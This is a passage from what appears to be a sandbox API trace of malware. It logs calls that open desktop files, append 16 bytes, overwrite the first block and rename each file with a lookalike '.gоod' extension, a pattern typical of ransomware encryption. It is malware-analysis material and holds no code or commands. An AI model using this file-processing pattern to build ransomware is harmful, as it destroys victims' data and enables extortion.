nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", lpFilePart=0x0) returned 0x2d [0182.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0182.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\1llcqggic9x-_t8cv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0182.293] GetFileType (hFile=0x824) returned 0x1 [0182.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0182.294] GetFileType (hFile=0x824) returned 0x1 [0182.294] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x2b33 [0182.294] WriteFile (in: hFile=0x824, lpBuffer=0x3669938*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3669938*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0182.360] CloseHandle (hObject=0x824) returned 1 [0182.503] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", lpFilePart=0x0) returned 0x2d [0182.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0182.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\1llcqggic9x-_t8cv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0182.503] GetFileType (hFile=0x828) returned 0x1 [0182.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0182.503] GetFileType (hFile=0x828) returned 0x1 [0182.503] ReadFile (in: hFile=0x828, lpBuffer=0x37c6398, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x37c6398*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0183.261] CloseHandle (hObject=0x828) returned 1 [0183.261] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", lpFilePart=0x0) returned 0x2d [0183.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0183.261] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\1llcqggic9x-_t8cv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0183.262] GetFileType (hFile=0x828) returned 0x1 [0183.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0183.262] GetFileType (hFile=0x828) returned 0x1 [0183.262] WriteFile (in: hFile=0x828, lpBuffer=0x354f4a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x354f4a8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0183.262] CloseHandle (hObject=0x828) returned 1 [0183.262] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", lpFilePart=0x0) returned 0x2d [0183.262] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf.gоod", lpFilePart=0x0) returned 0x32 [0183.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0183.262] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\1llcqggic9x-_t8cv.swf"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73255ec0, ftCreationTime.dwHighDateTime=0x1d4d38f, ftLastAccessTime.dwLowDateTime=0x6be02a80, ftLastAccessTime.dwHighDateTime=0x1d4ca04, ftLastWriteTime.dwLowDateTime=0x697115e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b43)) returned 1 [0183.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0183.263] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\1llcqggic9x-_t8cv.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\1llcqggic9x-_t8cv.swf.gоod")) returned 1 [0183.263] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", lpFilePart=0x0) returned 0x2a [0183.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0183.264] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\2fbzqeff6xu6m3.swf"), fInfoLevelId=0x0, lpFileInformation=0x36cbcf8 | out: lpFileInformation=0x36cbcf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449df280, ftCreationTime.dwHighDateTime=0x1d4cf8c, ftLastAccessTime.dwLowDateTime=0xeb73cdb0, ftLastAccessTime.dwHighDateTime=0x1d4c716, ftLastWriteTime.dwLowDateTime=0xeb73cdb0, ftLastWriteTime.dwHighDateTime=0x1d4c716, nFileSizeHigh=0x0, nFileSizeLow=0xa7a4)) returned 1 [0183.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0183.264] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", lpFilePart=0x0) returned 0x2a [0183.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0183.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\2fbzqeff6xu6m3.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0183.264] GetFileType (hFile=0x828) returned 0x1 [0183.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0183.264] GetFileType (hFile=0x828) returned 0x1 [0183.264] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0183.264] ReadFile (in: hFile=0x828, lpBuffer=0x36cc0b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x36cc0b0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0183.264] CloseHandle (hObject=0x828) returned 1 [0183.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", lpFilePart=0x0) returned 0x2a [0183.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0183.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\2fbzqeff6xu6m3.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0183.265] GetFileType (hFile=0x828) returned 0x1 [0183.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0183.265] GetFileType (hFile=0x828) returned 0x1 [0183.265] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xa7a4 [0183.265] WriteFile (in: hFile=0x828, lpBuffer=0x36cd318*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x36cd318*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0183.265] CloseHandle (hObject=0x828) returned 1 [0183.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", lpFilePart=0x0) returned 0x2a [0183.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0183.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\2fbzqeff6xu6m3.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0183.265] GetFileType (hFile=0x828) returned 0x1 [0183.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0183.265] GetFileType (hFile=0x828) returned 0x1 [0183.266] ReadFile (in: hFile=0x828, lpBuffer=0x36cf5a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x36cf5a8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0183.747] CloseHandle (hObject=0x828) returned 1 [0183.747] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", lpFilePart=0x0) returned 0x2a [0183.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0183.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\2fbzqeff6xu6m3.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0183.747] GetFileType (hFile=0x828) returned 0x1 [0183.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0183.747] GetFileType (hFile=0x828) returned 0x1 [0183.747] WriteFile (in: hFile=0x828, lpBuffer=0x357ff28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x357ff28*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0183.747] CloseHandle (hObject=0x828) returned 1 [0183.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf", lpFilePart=0x0) returned 0x2a [0183.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf.gоod", lpFilePart=0x0) returned 0x2f [0183.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0183.748] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\2fbzqeff6xu6m3.swf"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449df280, ftCreationTime.dwHighDateTime=0x1d4cf8c, ftLastAccessTime.dwLowDateTime=0xeb73cdb0, ftLastAccessTime.dwHighDateTime=0x1d4c716, ftLastWriteTime.dwLowDateTime=0x69bb5e67, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa7b4)) returned 1 [0183.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0183.748] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\2fbzqeff6xu6m3.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\2fBzQEff6XU6M3.swf.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\2fbzqeff6xu6m3.swf.gоod")) returned 1 [0183.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", lpFilePart=0x0) returned 0x28 [0183.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0183.749] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\4yh73e1ayg q.bmp"), fInfoLevelId=0x0, lpFileInformation=0x3662b90 | out: lpFileInformation=0x3662b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9997cd0, ftCreationTime.dwHighDateTime=0x1d4d466, ftLastAccessTime.dwLowDateTime=0x9fa4c100, ftLastAccessTime.dwHighDateTime=0x1d4d2e7, ftLastWriteTime.dwLowDateTime=0x9fa4c100, ftLastWriteTime.dwHighDateTime=0x1d4d2e7, nFileSizeHigh=0x0, nFileSizeLow=0x12edd)) returned 1 [0183.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0183.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", lpFilePart=0x0) returned 0x28 [0183.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0183.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\4yh73e1ayg q.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0183.749] GetFileType (hFile=0x828) returned 0x1 [0183.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0183.749] GetFileType (hFile=0x828) returned 0x1 [0183.750] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0183.750] ReadFile (in: hFile=0x828, lpBuffer=0x3662f48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3662f48*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0183.752] CloseHandle (hObject=0x828) returned 1 [0183.753] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", lpFilePart=0x0) returned 0x28 [0183.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0183.753] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\4yh73e1ayg q.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0183.753] GetFileType (hFile=0x828) returned 0x1 [0183.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0183.753] GetFileType (hFile=0x828) returned 0x1 [0183.753] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x12edd [0183.753] WriteFile (in: hFile=0x828, lpBuffer=0x36641b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x36641b0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0183.770] CloseHandle (hObject=0x828) returned 1 [0183.771] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", lpFilePart=0x0) returned 0x28 [0183.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0183.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\4yh73e1ayg q.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0183.771] GetFileType (hFile=0x828) returned 0x1 [0183.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0183.771] GetFileType (hFile=0x828) returned 0x1 [0183.771] ReadFile (in: hFile=0x828, lpBuffer=0x3666440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3666440*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0184.588] CloseHandle (hObject=0x828) returned 1 [0184.588] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", lpFilePart=0x0) returned 0x28 [0184.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0184.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\4yh73e1ayg q.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0184.589] GetFileType (hFile=0x828) returned 0x1 [0184.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0184.589] GetFileType (hFile=0x828) returned 0x1 [0184.589] WriteFile (in: hFile=0x828, lpBuffer=0x35b5bc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x35b5bc0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0184.589] CloseHandle (hObject=0x828) returned 1 [0184.589] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp", lpFilePart=0x0) returned 0x28 [0184.589] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp.gоod", lpFilePart=0x0) returned 0x2d [0184.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0184.589] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\4yh73e1ayg q.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9997cd0, ftCreationTime.dwHighDateTime=0x1d4d466, ftLastAccessTime.dwLowDateTime=0x9fa4c100, ftLastAccessTime.dwHighDateTime=0x1d4d2e7, ftLastWriteTime.dwLowDateTime=0x6a3c1df0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12eed)) returned 1 [0184.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0184.589] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\4yh73e1ayg q.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\4yH73E1aYg Q.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\4yh73e1ayg q.bmp.gоod")) returned 1 [0184.590] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", lpFilePart=0x0) returned 0x30 [0184.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0184.590] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\4zfn1ykcs98mvkcw6h16.mp3"), fInfoLevelId=0x0, lpFileInformation=0x3608e58 | out: lpFileInformation=0x3608e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b45500, ftCreationTime.dwHighDateTime=0x1d4cdbb, ftLastAccessTime.dwLowDateTime=0xfd409d30, ftLastAccessTime.dwHighDateTime=0x1d4d1ab, ftLastWriteTime.dwLowDateTime=0xfd409d30, ftLastWriteTime.dwHighDateTime=0x1d4d1ab, nFileSizeHigh=0x0, nFileSizeLow=0x64e4)) returned 1 [0184.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0184.590] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", lpFilePart=0x0) returned 0x30 [0184.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0184.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\4zfn1ykcs98mvkcw6h16.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0184.590] GetFileType (hFile=0x828) returned 0x1 [0184.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0184.591] GetFileType (hFile=0x828) returned 0x1 [0184.591] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0184.591] ReadFile (in: hFile=0x828, lpBuffer=0x3609250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3609250*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0184.591] CloseHandle (hObject=0x828) returned 1 [0184.591] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", lpFilePart=0x0) returned 0x30 [0184.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0184.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\4zfn1ykcs98mvkcw6h16.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0184.592] GetFileType (hFile=0x828) returned 0x1 [0184.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0184.592] GetFileType (hFile=0x828) returned 0x1 [0184.592] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x64e4 [0184.592] WriteFile (in: hFile=0x828, lpBuffer=0x360a4d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x360a4d8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0184.592] CloseHandle (hObject=0x828) returned 1 [0184.592] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: 